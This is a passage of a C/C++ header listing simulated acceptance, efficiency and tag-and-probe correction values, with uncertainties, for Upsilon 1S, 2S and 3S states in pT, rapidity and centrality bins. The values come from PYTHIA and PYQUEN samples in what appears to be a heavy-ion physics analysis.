{1.130,1.115,1.088,1.061,1.034};\nfloat t_1S_pythia_pt3p5_muIDTrige[nPtBins_2014]={0.012,0.012,0.01,0.009,0.008};\n///2016 efficiencies, muIDtrig\nfloat Aet_1S_pythia_pt_muIDTrig[nPtBins_2014]={0.340,0.215,0.207,0.283,0.401};\nfloat Aet_1S_pythia_pt_muIDTrige[nPtBins_2014]={0.001,0.001,0.001,0.002,0.004};\nfloat Aet_1S_pythia_pt_muIDTrigs[nPtBins_2014]={0.008,0.005,0.006,0.008,0.011};\n//tnp. + uncertainty (STA)\nfloat t_1S_pythia_pt3p5_STA[nPtBins_2014]= {1.130,1.115,1.088,1.061,1.034};\nfloat t_1S_pythia_pt3p5_STAe[nPtBins_2014]={0.04,0.039,0.037,0.035,0.033};\n///2016 efficiencies, STA\nfloat Aet_1S_pythia_pt_STA[nPtBins_2014]={0.340,0.215,0.207,0.283,0.401};\nfloat Aet_1S_pythia_pt_STAe[nPtBins_2014]={0.001,0.001,0.001,0.002,0.004};\nfloat Aet_1S_pythia_pt_STAs[nPtBins_2014]={0.014,0.009,0.009,0.012,0.017};\n///2016 efficiency syst, FULL = sta+muidtrg, not genshape (computed with other stuff)\nfloat Aet_1S_pythia_pt_fulls[nPtBins_2014]={0.0125,0.0079,0.0073,0.0096,0.0132};\n/* ------------------------------------------- */\n/* 1S rap */\n/* ------------------------------------------- */\nfloat e_1S_pythia_rap3p5[nRapBins2015]={0.709,0.711,0.713,0.674,0.615,0.500};\nfloat e_1S_pythia_rap3p5e[nRapBins2015]={0.003,0.003,0.003,0.003,0.003,0.003};\nfloat A_1S_pythia_rap3p5[nRapBins2015]={0.393,0.392,0.393,0.389,0.338,0.145};\nfloat A_1S_pythia_rap3p5e[nRapBins2015]={0.002,0.002,0.002,0.002,0.002,0.001};\nfloat Ae_1S_pythia_rap2014[nRapBins2015]={0.279,0.278,0.280,0.262,0.208,0.073};\nfloat Ae_1S_pythia_rap2014e[nRapBins2015]={0.002,0.002,0.002,0.002,0.001,0.001};\nfloat t_1S_pythia_rap3p5[nRapBins2015]={1.076,1.077,1.083,1.104,1.142,1.163};\nfloat t_1S_pythia_rap3p5e[nRapBins2015]={0.006, 0.006, 0.006, 0.010, 0.019,0.025};\n//A*e*t\nfloat Aet_1S_pythia_rap2014[nRapBins_2014]={0.300,0.299,0.303,0.289,0.238,0.085};\nfloat Aet_1S_pythia_rap2014e[nRapBins_2014]={0.002,0.002,0.002,0.002,0.002,0.001};\nfloat Aet_1S_pythia_rap2014s[nRapBins_2014]={0.003,0.003,0.002,0.003,0.003,0.002};\n///new, 2016 muIDtrig\nfloat t_1S_pythia_rap3p5_muIDTrig[nRapBins2015]={1.084,1.091,1.101,1.094,1.094,1.182};\nfloat t_1S_pythia_rap3p5_muIDTrige[nRapBins2015]={0.009,0.008,0.009,0.013,0.019,0.029};\n//A*e*t\nfloat Aet_1S_pythia_rap2014_muIDTrig[nRapBins_2014]={0.302,0.303,0.308,0.287,0.228,0.086};\nfloat Aet_1S_pythia_rap2014_muIDTrige[nRapBins_2014]={0.002,0.002,0.002,0.002,0.001,0.001};\nfloat Aet_1S_pythia_rap2014_muIDTrigs[nRapBins_2014]={0.004,0.004,0.003,0.004,0.004,0.002};\n///new, 2016 STA\nfloat t_1S_pythia_rap3p5_STA[nRapBins2015]={1.084,1.091,1.101,1.094,1.094,1.182};\nfloat t_1S_pythia_rap3p5_STAe[nRapBins2015]={0.034,0.034,0.035,0.039,0.051,0.067};\n//A*e*t\nfloat Aet_1S_pythia_rap2014_STA[nRapBins_2014]={0.302,0.303,0.308,0.287,0.228,0.086};\nfloat Aet_1S_pythia_rap2014_STAe[nRapBins_2014]={0.002,0.002,0.002,0.002,0.001,0.001};\nfloat Aet_1S_pythia_rap2014_STAs[nRapBins_2014]={0.01,0.01,0.01,0.011,0.011,0.005};\n///new, 2016 Full\nfloat Aet_1S_pythia_rap3p5_fulls[nRapBins2015]={0.0098,0.0097,0.0101,0.0108,0.0113,0.0053};\n/* ------------------------------------------- */\n/* 1S pT4 */\n/* ------------------------------------------- */\nfloat Ae_1S_pythia_tot4= 0.166;//new\nfloat Ae_1S_pythia_tot4e=0.001;///shape vars\nfloat e_1S_pythia_tot4= 0.733;//new\nfloat e_1S_pythia_tot4e=0.002;///shape vars\nfloat t_1S_pythia_tot4 = 1.095;\nfloat t_1S_pythia_tot4e = 0.009;\nfloat Aet_1S_pythia_tot4=t_1S_pythia_tot4*Ae_1S_pythia_tot;// \nfloat Aet_1S_pythia_tot4e = Aet_1S_pythia_tot4*sqrt(pow(t_1S_pythia_tot4e/t_1S_pythia_tot4,2)+Ae_1S_pythia_tot4e*Ae_1S_pythia_tot4e);\n//dont care\n//eff., Acc., Acc*eff, \nfloat e_1S_pythia_pt4[nPtBins2015]={0.705,0.716,0.738,0.753,0.779,0.8}; //last bin fake\nfloat e_1S_pythia_pt4e[nPtBins2015]={0.003,0.003,0.003,0.004,0.006,0.008};//last bin fake\nfloat A_1S_pythia_pt4[nPtBins2015]={0.267,0.158,0.187,0.294,0.457,0.6};\nfloat A_1S_pythia_pt4e[nPtBins2015]={0.001,0.001,0.001,0.002,0.004,0.01};\nfloat Ae_1S_pythia_pt4[nPtBins2015] = {0.189,0.113,0.138,0.221,0.356,0.48};//wrong\nfloat Ae_1S_pythia_pt4e[nPtBins2015] = {0.001,0.001,0.001,0.002,0.004,0.01};//fake\n//tnp. + uncertainty\nfloat t_1S_pythia_pt4[nPtBins2015]= {1.125,1.112,1.087,1.063,1.040,1.03};\nfloat t_1S_pythia_pt4e[nPtBins2015]={0.007,0.007,0.006,0.007,0.007,0.007};\n//A*e*t\nfloat Aet_1S_pythia_pt4[nPtBins_2014]={0.213,0.126,0.150,0.235,0.370};\nfloat Aet_1S_pythia_pt4e[nPtBins_2014]={0.001,0.001,0.001,0.002,0.004};\nfloat Aet_1S_pythia_pt4s[nPtBins_2014]={0.001,0.001,0.001,0.001,0.002};\n/* ------------------------------------------- */\n/* 1S rap 4 */\n/* ------------------------------------------- */\nfloat e_1S_pythia_rap4[nRapBins2015]={0.780,0.786,0.774,0.716,0.639,0.507};\nfloat e_1S_pythia_rap4e[nRapBins2015]={0.004,0.004,0.004,0.004,0.004,0.005};\nfloat A_1S_pythia_rap4[nRapBins2015]={0.250,0.250,0.250,0.247,0.223,0.102};\nfloat A_1S_pythia_rap4e[nRapBins2015]={0.001,0.001,0.001,0.001,0.001,0.001};\nfloat Ae_1S_pythia_rap4[nRapBins2015] ={0.195,0.197,0.193,0.177,0.142,0.052};\nfloat Ae_1S_pythia_rap4e[nRapBins2015]={0.001,0.001,0.001,0.001,0.001,0.001};\n//tnp. + uncertainty\nfloat t_1S_pythia_rap4[nRapBins2015]= {1.076,1.077,1.083,1.104,1.142,1.163};\nfloat t_1S_pythia_rap4e[nRapBins2015]={0.006,0.006,0.006,0.010,0.019,0.025};\n//A*e*t\nfloat Aet_1S_pythia_rap4[nRapBins_2014] ={0.210,0.212,0.209,0.195,0.192,0.060};\nfloat Aet_1S_pythia_rap4e[nRapBins_2014]={0.001,0.001,0.001,0.001,0.001,0.001};\nfloat Aet_1S_pythia_rap4s[nRapBins_2014]={0.001,0.001,0.001,0.001,0.002,0.001};\n/* ------------------------------------------- */\n/* 2S pT */\n/* ------------------------------------------- */\n//Acc\nfloat A_2S_pythia_tot= 0.279;//new Acc. \nfloat A_2S_pythia_tote=0.001;///stat. err.\nfloat A_2S_pythia_tots=0.006;///syst.: shape vars\n//Acc*eff\nfloat Ae_2S_pythia_tot=0.207;\nfloat Ae_2S_pythia_tote=0.001;\nfloat Ae_2S_pythia_tots=0.006;\n//eff\nfloat e_2S_pythia_tot= 0.743;//new\nfloat e_2S_pythia_tote=0.002;///stat. unc\nfloat e_2S_pythia_tots=0.006;///stat. unc\n//sf from tag and probe = eff_corr/eff_noCorr\nfloat t_2S_pythia_tot = 1.053;\nfloat t_2S_pythia_tote = 0.007;\n//2016 full\nfloat t_2S_pythia_tot_full = 1.052;\nfloat t_2S_pythia_tot_fulle = 0.0035;\n//total\nfloat Aet_2S_pythia_tot=0.218;// new\nfloat Aet_2S_pythia_tote = 0.0074; //ok full total (tnp+gs)\nfloat Aet_2S_pythia_tots = 0.0073; //ok full total (tnp+gs)\nfloat Aet_2S_pythia_totgse = 0.001; //ok gs\nfloat Aet_2S_pythia_tot_muIDe = 0.006; //ok\nfloat Aet_2S_pythia_tot_STAe = 0.009; //ok \n\n//eff., Acc., Acc*eff, \nfloat e_2S_pythia_pt2013[nPtBins_2013]= {0.721,0.729,0.744,0.758,0.784};\nfloat e_2S_pythia_pt2013e[nPtBins_2013]={0.002,0.003,0.004,0.005,0.007};\nfloat A_2S_pythia_pt2013[nPtBins_2013]= {0.375,0.217,0.218,0.309,0.467};\nfloat A_2S_pythia_pt2013e[nPtBins_2013]={0.002,0.001,0.002,0.003,0.007};\nfloat Ae_2S_pythia_pt2013[nPtBins_2013]={0.270,0.159,0.162,0.234,0.366};\nfloat Ae_2S_pythia_pt2013e[nPtBins_2013]={0.0010,0.006,0.0008,0.0018,0.0043};\n//tnp. + uncertainty\nfloat t_2S_pythia_pt4[nPtBins2015]={1.08342 ,1.07619 ,1.06259 ,1.04968 ,1.03585 ,1.02531};\nfloat t_2S_pythia_pt4e[nPtBins2015]={ 0.00642526 ,0.00642385 ,0.00650645 ,0.00674736 ,0.00708275 ,0.0070219 }; \n\n//A*e*t //new2016\nfloat Aet_2S_pythia_pt2013[nPtBins_2013]={0.295,0.172,0.172,0.245,0.376}; \nfloat Aet_2S_pythia_pt2013e[nPtBins_2013]={0.002,0.001,0.001,0.003,0.006}; //stat+syst from Gen Shape\nfloat Aet_2S_pythia_pt2013s[nPtBins_2013]={0.010,0.0059,0.0058,0.0082,0.012}; //full tnp syst\n///muIDTRig, sta\nfloat Aet_2S_pythia_pt2013_muIDTrige[nPtBins_2013]={0.008,0.004,0.005,0.008,0.01};//2016\nfloat Aet_2S_pythia_pt2013_STAe[nPtBins_2013]={0.012,0.007,0.008,0.011,0.016};//2016\n\n//a,e,t, large bins\nfloat e_2S_pythia_pt2010[nPtBins2S]= {0.726,0.750,0.784};\nfloat e_2S_pythia_pt2010e[nPtBins2S]={0.002,0.003,0.007};\nfloat A_2S_pythia_pt2010[nPtBins2S]= {0.268,0.250,0.467};\nfloat A_2S_pythia_pt2010e[nPtBins2S]={0.0002,0.0002,0.0041};\nfloat Ae_2S_pythia_pt2010[nPtBins2S]= {0.195,0.187,0.366};\nfloat Ae_2S_pythia_pt2010e[nPtBins2S]={0.001,0.001,0.006};\n//tnp+err\nfloat t_2S_pythia_pt2010[nPtBins2S] = {1.086,1.055,1.026}; ///2016 full\nfloat t_2S_pythia_pt2010e[nPtBins2S] = {0.02,0.02,0.018}; //2016 full\n//total\nfloat Aet_2S_pythia_pt2013Large[nPtBins2S]={0.212,0.197,0.376};\nfloat Aet_2S_pythia_pt2013Largee[nPtBins2S]={0.001,0.001,0.006}; //2016 new\nfloat Aet_2S_pythia_pt2013Larges[nPtBins2S]={0.0075,0.0067,0.0124}; // 2016 new, full\nfloat Aet_2S_pythia_pt2013Large_muIDTrige[nPtBins2S]={0.005,0.006,0.01}; // 2016 new, muid\nfloat Aet_2S_pythia_pt2013Large_STAe[nPtBins2S]={0.009,0.006,0.016}; // 2016 new, sta\n\n/* //large 1S, tight and new does not exist... */\n/* float Aet_1S_pythia_pt2013Large[nPtBins2S]={0.212,0.197,0.376}; */\n/* float Aet_1S_pythia_pt2013Largee[nPtBins2S]={0.0044,0.0039,0.0089}; //2016 new */\n/* float Aet_1S_pythia_pt2013Larges[nPtBins2S]={0.0043,0.0037,0.0066}; // 2016 new, full */\n/* float Aet_1S_pythia_pt2013Large_muIDTrige[nPtBins2S]={0.005,0.006,0.01}; // 2016 new, muid */\n/* float Aet_1S_pythia_pt2013Large_STAe[nPtBins2S]={0.006,0.007,0.012}; // 2016 new, sta */\n/* ------------------------------------------- */\n/* 2S rap */\n/* ------------------------------------------- */\n//eff., Acc., Acc*eff, \nfloat e_2S_pythia_rap2014[nRapBins_2014]= {0.791,0.795,0.781,0.726,0.643,0.519};\nfloat e_2S_pythia_rap2014e[nRapBins_2014]={0.004,0.004,0.004,0.004,0.004,0.005};\nfloat A_2S_pythia_rap2014[nRapBins_2014]= {0.310,0.310,0.307,0.308,0.271,0.117};\nfloat A_2S_pythia_rap2014e[nRapBins_2014]={0.002,0.002,0.002,0.002,0.002,0.001};\nfloat Ae_2S_pythia_rap2014[nRapBins_2014]={0.245,0.247,0.240,0.223,0.174,0.060};//bug was here.\nfloat Ae_2S_pythia_rap2014e[nRapBins_2014]={0.002,0.002,0.002,0.002,0.002,0.001};\n//tnp. + uncertainty\nfloat t_2S_pythia_rap4[nRapBins2015]={1.03332,1.03325,1.04035,1.06862,1.11817,1.1514};\nfloat t_2S_pythia_rap4e[nRapBins2015]={0.0035896 , 0.00362431 ,0.00452162,0.0083498 ,0.0155529 ,0.0207168};\n//A*e*t\nfloat Aet_2S_pythia_rap2014[nRapBins_2014]={0.254,0.257,0.253,0.235,0.186,0.07}; //new 2016\nfloat Aet_2S_pythia_rap2014e[nRapBins_2014]={0.002,0.002,0.002,0.002,0.002,0.001}; //new stat\nfloat Aet_2S_pythia_rap2014s[nRapBins_2014]={0.0078,0.0081,0.0082,0.0087,0.0091,0.0043}; //full\nfloat Aet_2S_pythia_rap2014_muIDTrige[nRapBins_2014]={0.004,0.004,0.004,0.004,0.004,0.002}; //muIDtrig\nfloat Aet_2S_pythia_rap2014_STAe[nRapBins_2014]={0.009,0.009,0.008,0.009,0.009,0.004}; //STA\n\n//a,e,t, large bins\nfloat e_2S_pythia_rap2010[nRapBins2S]= {0.789,0.666};\nfloat e_2S_pythia_rap2010e[nRapBins2S]={0.002,0.002};\nfloat A_2S_pythia_rap2010[nRapBins2S]= {0.309,0.241};\nfloat A_2S_pythia_rap2010e[nRapBins2S]={0.001,0.001};\nfloat Ae_2S_pythia_rap2010[nRapBins2S] = {0.244,0.160};\nfloat Ae_2S_pythia_rap2010e[nRapBins2S] = {0.001,0.001};\nfloat t_2S_pythia_rap2010[nRapBins2S]={1.035,1.095};\nfloat t_2S_pythia_rap2010e[nRapBins2S]={0.004,0.012};\n//total\nfloat Aet_2S_pythia_rap2014Large[nRapBins2S]={0.254,0.172}; //new\nfloat Aet_2S_pythia_rap2014Largee[nRapBins2S]={0.001,0.001}; //new\nfloat Aet_2S_pythia_rap2014Larges[nRapBins2S]={0.0080,0.0073}; //full\nfloat Aet_2S_pythia_rap2014Large_muIDTrige[nRapBins2S]={0.004,0.005}; //MuiD\nfloat Aet_2S_pythia_rap2014Large_STAe[nRapBins2S]={0.009,0.008}; //STA\n/* ------------------------------------------- */\n/* 3S pT */\n/* ------------------------------------------- */\n/// TOTAL\n//Acc\nfloat A_3S_pythia_tot= 0.329;//new\nfloat A_3S_pythia_tote=0.001;///stat. err.\nfloat A_3S_pythia_tots=0.007;///syst.: shape vars\n//Acc*eff\nfloat Ae_3S_pythia_tot= 0.247;//new\nfloat Ae_3S_pythia_tote=0.001;///stat. err.\nfloat Ae_3S_pythia_tots=0.009;///syst.: shape vars +tnp\n//eff\nfloat e_3S_pythia_tot= 0.752;//new\nfloat e_3S_pythia_tote=0.001;///stat. unc\nfloat e_3S_pythia_tots=0.007;///stat. unc\n//sf from tag and probe = eff_corr/eff_noCorr\nfloat t_3S_pythia_tot = 1.066;\nfloat t_3S_pythia_tote = 0.006;\n//total\nfloat Aet_3S_pythia_tot=0.263;// \nfloat Aet_3S_pythia_tote = 0.0089; // total\nfloat Aet_3S_pythia_totgse = 0.00001; //ok gs\nfloat Aet_3S_pythia_tot_muIDe = 0.007; //ok\nfloat Aet_3S_pythia_tot_STAe = 0.011; //ok \n//eff., Acc., Acc*eff, \nfloat e_3S_pythia_pt2013[nPtBins_2013]= {0.731,0.732,0.751,0.769,0.795};\nfloat e_3S_pythia_pt2013e[nPtBins_2013]={0.002,0.002,0.003,0.003,0.004};\nfloat A_3S_pythia_pt2013[nPtBins_2013]= {0.455,0.273,0.249,0.330,0.471};\nfloat A_3S_pythia_pt2013e[nPtBins_2013]={0.001,0.001,0.001,0.001,0.002};\nfloat Ae_3S_pythia_pt2013[nPtBins_2013]={0.333,0.199,0.187,0.254,0.375};\nfloat Ae_3S_pythia_pt2013e[nPtBins_2013]={0.001,0.001,0.001,0.001,0.002};\n//tnp. + uncertainty\nfloat t_3S_pythia_pt4[nPtBins2015]={1.092,1.082,1.064,1.047,1.027}; ///new\nfloat t_3S_pythia_pt4e[nPtBins2015]={0.02,0.0184,0.0169,0.0163,0.0176}; ///full\n//A*e*t\nfloat Aet_3S_pythia_pt2013[nPtBins_2013]={0.364,0.215,0.199,0.266,0.385}; ///new\nfloat Aet_3S_pythia_pt2013e[nPtBins_2013]={0.001,0.001,0.001,0.001,0.002};\nfloat Aet_3S_pythia_pt2013s[nPtBins_2013]={0.0128,0.0076,0.0068,0.0089,0.0127}; //full\nfloat Aet_3S_pythia_pt2013_muIDTrige[nPtBins_2013]={0.01,0.005,0.005,0.008,0.011}; //muid\nfloat Aet_3S_pythia_pt2013_STAe[nPtBins_2013]={0.015,0.009,0.008,0.012,0.017}; //sta\n//a,e,t, large bins\nfloat e_3S_pythia_pt2010[nPtBins2S]= {0.732,0.759,0.795};\nfloat e_3S_pythia_pt2010e[nPtBins2S]={0.002,0.002,0.004};\nfloat A_3S_pythia_pt2010[nPtBins2S]= {0.336,0.279,0.471};\nfloat A_3S_pythia_pt2010e[nPtBins2S]={0.0004,0.0004,0.002};\nfloat Ae_3S_pythia_pt2010[nPtBins2S]= {0.246,0.212,0.375};\nfloat Ae_3S_pythia_pt2010e[nPtBins2S]={0.001,0.001,0.002};\n//tnp+err\nfloat t_3S_pythia_pt2010[nPtBins2S] = {1.080,1.057,1.036};\nfloat t_3S_pythia_pt2010e[nPtBins2S] = {0.006,0.006,0.007};\n//total\nfloat Aet_3S_pythia_pt2013Large[nPtBins2S]={0.266,0.224,0.389};\nfloat Aet_3S_pythia_pt2013Largee[nPtBins2S]={0.001,0.001,0.002};\nfloat Aet_3S_pythia_pt2013Larges[nPtBins2S]={0.0063,0.0084,0.018};\n/* ------------------------------------------- */\n/* 3S rap */\n/* ------------------------------------------- */\n//eff., Acc., Acc*eff, \nfloat e_3S_pythia_rap2014[nRapBins_2014]= {0.804,0.804,0.787,0.734,0.649,0.522};\nfloat e_3S_pythia_rap2014e[nRapBins_2014]={0.003,0.003,0.003,0.003,0.003,0.003};\nfloat A_3S_pythia_rap2014[nRapBins_2014]= {0.367,0.366,0.366,0.361,0.312,0.136};\nfloat A_3S_pythia_rap2014e[nRapBins_2014]={0.001,0.001,0.001,0.001,0.001,0.001};\nfloat Ae_3S_pythia_rap2014[nRapBins_2014]={0.295,0.294,0.288,0.265,0.203,0.071};\nfloat Ae_3S_pythia_rap2014e[nRapBins_2014]={0.001,0.001,0.001,0.001,0.001,0.001};\n//tnp. + uncertainty\nfloat t_3S_pythia_rap4[nRapBins2015]={1.052,1.058,1.068,1.066,1.074,1.171};//new\nfloat t_3S_pythia_rap4e[nRapBins2015]={0.006,0.005,0.007,0.01,0.014,0.029};//new\n//A*e*t\nfloat Aet_3S_pythia_rap2014[nRapBins_2014]= {0.310,0.311,0.308,0.282,0.218,0.083}; //new\nfloat Aet_3S_pythia_rap2014e[nRapBins_2014]={0.001,0.001,0.001,0.001,0.001,0.001};\nfloat Aet_3S_pythia_rap2014s[nRapBins_2014]={0.0097,0.0096,0.0099,0.0104,0.0108,0.0051}; //full\nfloat Aet_3S_pythia_rap2014_muIDTrige[nRapBins_2014]={0.004,0.004,0.004,0.004,0.004,0.002};///muid\nfloat Aet_3S_pythia_rap2014_STAe[nRapBins_2014]={0.01,0.01,0.01,0.01,0.01,0.005};///sta\n//a,e,t, large bins\nfloat e_3S_pythia_rap2010[nRapBins2S]= {0.798,0.673};\nfloat e_3S_pythia_rap2010e[nRapBins2S]={0.002,0.002};\nfloat A_3S_pythia_rap2010[nRapBins2S]= {0.366,0.281};\nfloat A_3S_pythia_rap2010e[nRapBins2S]={0.001,0.001};\nfloat Ae_3S_pythia_rap2010[nRapBins2S] = {0.292,0.189};\nfloat Ae_3S_pythia_rap2010e[nRapBins2S] ={0.001,0.001};\nfloat t_3S_pythia_rap2010[nRapBins2S]= {1.046,1.101};\nfloat t_3S_pythia_rap2010e[nRapBins2S]={0.004,0.012};\n//total\nfloat Aet_3S_pythia_rap2014Large[nRapBins2S]= {0.305,0.208};\nfloat Aet_3S_pythia_rap2014Largee[nRapBins2S]={0.001,0.001};\nfloat Aet_3S_pythia_rap2014Larges[nRapBins2S]={0.003,0.006};\n/* ------------------------------------------- */\n/* ------------------------------------------- */\n/* ------------------------------------------- */\n/* PYQUEN */\n/* ------------------------------------------- */\n/* ------------------------------------------- */\n/* ------------------------------------------- */\n/* 1S loose TOTAL E,A,T */\n/* ------------------------------------------- */\nfloat Ae_1S_pyquen_tot=0.223;\nfloat Ae_1S_pyquen_tote=0.005;\nfloat e_1S_pyquen_tot=0.633;\nfloat e_1S_pyquen_tote=0.005;\nfloat t_1S_pyquen_tot3p5= 1.078;//2016\nfloat t_1S_pyquen_tot3p5e=0.0055;//2016 full\nfloat Aet_1S_pyquen_tot=0.24;\nfloat Aet_1S_pyquen_tote=0.010;//new 2016 total (tnp)\nfloat Aet_1S_pyquen_totgse=0.001;//gs\nfloat t_1S_pyquen_tot4=1.070; //bof\nfloat Aet_1S_pyquen_tot3p5_muIDe = 0.006;\nfloat Aet_1S_pyquen_tot3p5_STAe = 0.011;\n/* ------------------------------------------- */\n/* 1S pT */\n/* ------------------------------------------- */\nfloat e_1S_pyquen_pt[nPtBins2015] ={0.589,0.588,0.651,0.712,0.753,0.78};//wrong\nfloat e_1S_pyquen_pte[nPtBins2015]={0.0055,0.0058,0.007,0.006,0.0049,0.1};\nfloat A_1S_pyquen_pt[nPtBins2015] ={0.456,0.298,0.277,0.374,0.513,0.58};\nfloat A_1S_pyquen_pte[nPtBins2015]={0.0009,0.0001,0.0006,0.0012,0.0027,0.03};//fake\nfloat Ae_1S_pyquen_pt[nPtBins2015] ={0.269,0.175,0.181,0.266,0.387,0.51};\nfloat Ae_1S_pyquen_pte[nPtBins2015]={0.0026,0.0017,0.0020,0.0023,0.0032,0.04}; // wrong\n//\nfloat t_1S_pyquen_pt3p5[nPtBins2015]= {1.172, 1.154, 1.118, 1.082, 1.048, 1.02826};\nfloat t_1S_pyquen_pt3p5e[nPtBins2015]={0.082,0.074,0.063,0.052, 0.045, 0.0330998};\n//\nfloat Aet_1S_pyquen_pt[nPtBins_2013]= {0.315,0.202,0.202,0.288,0.406};\nfloat Aet_1S_pyquen_pte[nPtBins_2013]={0.002,0.002,0.002,0.003,0.004};\nfloat Aet_1S_pyquen_pts[nPtBins_2013]={0.022,0.013,0.012,0.016,0.020};\n\n///new, 2016 muIDtrig\n//\nfloat t_1S_pyquen_pt3p5_muIDTrig[nPtBins_2014]= {1.104,1.094,1.073,1.050,1.029};\nfloat t_1S_pyquen_pt3p5_muIDTrige[nPtBins_2014]={0.013,0.013,0.013,0.012,0.012};\n//\nfloat Aet_1S_pyquen_pt_muIDTrig[nPtBins_2014]= {0.297,0.191,0.194,0.279,0.398};\nfloat Aet_1S_pyquen_pt_muIDTrige[nPtBins_2014]={0.002,0.002,0.002,0.003,0.004};\nfloat Aet_1S_pyquen_pt_muIDTrigs[nPtBins_2014]={0.005,0.004,0.005,0.009,0.01};\n\n///new, 2016 STA\n//\nfloat t_1S_pyquen_pt3p5_STA[nPtBins_2014]= {1.104,1.094,1.073,1.050,1.029};\nfloat t_1S_pyquen_pt3p5_STAe[nPtBins_2014]={0.049,0.046,0.042,0.039,0.039};\n//\nfloat Aet_1S_pyquen_pt_STA[nPtBins_2014]= {0.297,0.191,0.194,0.279,0.398};\nfloat Aet_1S_pyquen_pt_STAe[nPtBins_2014]={0.002,0.002,0.002,0.003,0.004};\nfloat Aet_1S_pyquen_pt_STAs[nPtBins_2014]={0.014,0.009,0.009,0.013,0.017};\n\nfloat Aet_1S_pyquen_pt_fulls[nPtBins_2014]={0.0136,0.0083,0.0079,0.0108,0.0158};//full new\n\n\n/* ------------------------------------------- */\n/* 1S rap */\n/* ------------------------------------------- */\nfloat e_1S_pyquen_rap2014[nRapBins_2014]={0.611,0.639,0.674,0.656,0.611,0.521};\nfloat e_1S_pyquen_rap2014e[nRapBins_2014]={0.005,0.006,0.005,0.005,0.0070,0.01};\nfloat A_1S_pyquen_rap2014[nRapBins_2014]={0.393,0.392,0.393,0.389,0.338,0.145};\nfloat A_1S_pyquen_rap2014e[nRapBins_2014]={0.002,0.002,0.002,0.002,0.002,0.001};\nfloat Ae_1S_pyquen_rap2014[nRapBins_2014]={0.240,0.250,0.265,0.255,0.206,0.076};\nfloat Ae_1S_pyquen_rap2014e[nRapBins_2014]={0.0025,0.0026,0.0028,0.0029,0.0027,0.0018};//,0.003386};\n\nfloat t_1S_pyquen_rap3p5[nRapBins2015]={1.120 , 1.120 , 1.124, 1.132 , 1.149 , 1.150 };\nfloat t_1S_pyquen_rap3p5e[nRapBins2015]={0.011549,0.011864,0.020660,0.059434,0.124098,0.171624};\n\nfloat Aet_1S_pyquen_rap2014[nRapBins_2014]={0.269,0.280,0.298,0.289,0.237,0.087};\nfloat Aet_1S_pyquen_rap2014e[nRapBins_2014]={0.002,0.002,0.003,0.003,0.003,0.002};\nfloat Aet_1S_pyquen_rap2014s[nRapBins_2014]={0.012,0.012,0.014,0.019,0.023,0.011};\n//2016 muid\nfloat t_1S_pyquen_rap3p5_muIDTrig[nRapBins_2014]={1.062,1.073,1.092,1.094,1.073,1.056};\nfloat t_1S_pyquen_rap3p5_muIDTrige[nRapBins_2014]={0.017,0.014,0.011,0.012,0.018,0.038};\n\nfloat Aet_1S_pyquen_rap2014_muIDTrig[nRapBins_2014]={0.255,0.268,0.289,0.279,0.221,0.080}; ///new 2016\nfloat Aet_1S_pyquen_rap2014_muIDTrige[nRapBins_2014]={0.002,0.002,0.003,0.003,0.003,0.002};\nfloat Aet_1S_pyquen_rap2014_muIDTrigs[nRapBins_2014]={0.006,0.005,0.004,0.004,0.005,0.003};\n//2016 STA\nfloat t_1S_pyquen_rap3p5_STA[nRapBins_2014]={1.062,1.073,1.092,1.094,1.073,1.056};\nfloat t_1S_pyquen_rap3p5_STAe[nRapBins_2014]={0.041,0.042,0.042,0.045,0.059,0.072};\n\nfloat Aet_1S_pyquen_rap2014_STA[nRapBins_2014]={0.255,0.268,0.289,0.279,0.221,0.080};\nfloat Aet_1S_pyquen_rap2014_STAe[nRapBins_2014]={0.002,0.002,0.003,0.003,0.003,0.002};\nfloat Aet_1S_pyquen_rap2014_STAs[nRapBins_2014]={0.011,0.011,0.012,0.012,0.013,0.006};\n///2016 full\nfloat Aet_1S_pyquen_rap2014_fulls[nRapBins_2014]={0.0107,0.0111,0.0115,0.0118,0.0127,0.0065};\n/* ------------------------------------------- */\n/* 1S cent */\n/* ------------------------------------------- */\nfloat e_1S_pyquen_cent2014[nCentBins_2014]={0.656,0.657,0.651,0.648,0.646,0.636,0.626,0.606};\nfloat e_1S_pyquen_cent2014e[nCentBins_2014]={0.0043,0.0046,0.0061,0.0060,0.0060,0.0058,0.0082,0.0070};\nfloat A_1S_pyquen_cent2014[nCentBins_2014]={0.353,0.353,0.353,0.353,0.353,0.353,0.353,0.33};\nfloat A_1S_pyquen_cent2014e[nCentBins_2014]={0.0043,0.0046,0.0061,0.0060,0.0060,0.0058,0.0082,0.0070};\nfloat Ae_1S_pyquen_cent2014[nCentBins_2014]={0.231,0.232,0.230,0.229,0.228,0.224,0.221,0.214};\n//starting with peripheral bin!//\nfloat Ae_1S_pyquen_cent2014e[nCentBins_2014]={0.0015,0.0016,0.0021,0.0021,0.0021,0.020,0.0029,0.0024}; // starting with the peripheral value!!!\nfloat t_1S_pyquen_cent3p5[nCentBins_2014]={1.12765,1.12702,1.12665,1.12712, 1.12616,1.12724,1.12681,1.12632}; //,1.12672\nfloat t_1S_pyquen_cent3p5e[nCentBins_2014]={0.064 ,0.065 ,0.065 ,0.066 ,0.066 ,0.066 ,0.066 ,0.066 };\n\nfloat Aet_1S_pyquen_cent2014[nCentBins_2014]={0.261,0.262,0.259,0.258,0.257,0.253,0.249,0.241};\nfloat Aet_1S_pyquen_cent2014e[nCentBins_2014]={0.002,0.002,0.002,0.002,0.002,0.002,0.003,0.002};\nfloat Aet_1S_pyquen_cent2014s[nCentBins_2014]={0.011,0.011,0.011,0.011,0.011,0.011,0.011,0.010};\n///2016 muID\nfloat t_1S_pyquen_cent3p5_muIDTrig[nCentBins_2014]={1.078,1.078,1.078,1.078,1.078,1.079,1.078,1.078}; //,1.12672\nfloat t_1S_pyquen_cent3p5_muIDTrige[nCentBins_2014]={0.013,0.013,0.013,0.013,0.013,0.013,0.012,0.013};\n\nfloat Aet_1S_pyquen_cent2014_muIDTrig[nCentBins_2014]={0.249,0.250,0.248,0.247,0.246,0.242,0.238,0.231};\nfloat Aet_1S_pyquen_cent2014_muIDTrige[nCentBins_2014]={0.002,0.002,0.002,0.002,0.002,0.002,0.003,0.002};\nfloat Aet_1S_pyquen_cent2014_muIDTrigs[nCentBins_2014]={0.005,0.006,0.006,0.006,0.006,0.006,0.006,0.006};\n///2016 STA\nfloat t_1S_pyquen_cent3p5_STA[nCentBins_2014]={1.078,1.078,1.078,1.078,1.078,1.079,1.078,1.078}; //,1.12672\nfloat t_1S_pyquen_cent3p5_STAe[nCentBins_2014]={0.043,0.043,0.043,0.043,0.043,0.043,0.043,0.043};\n\nfloat 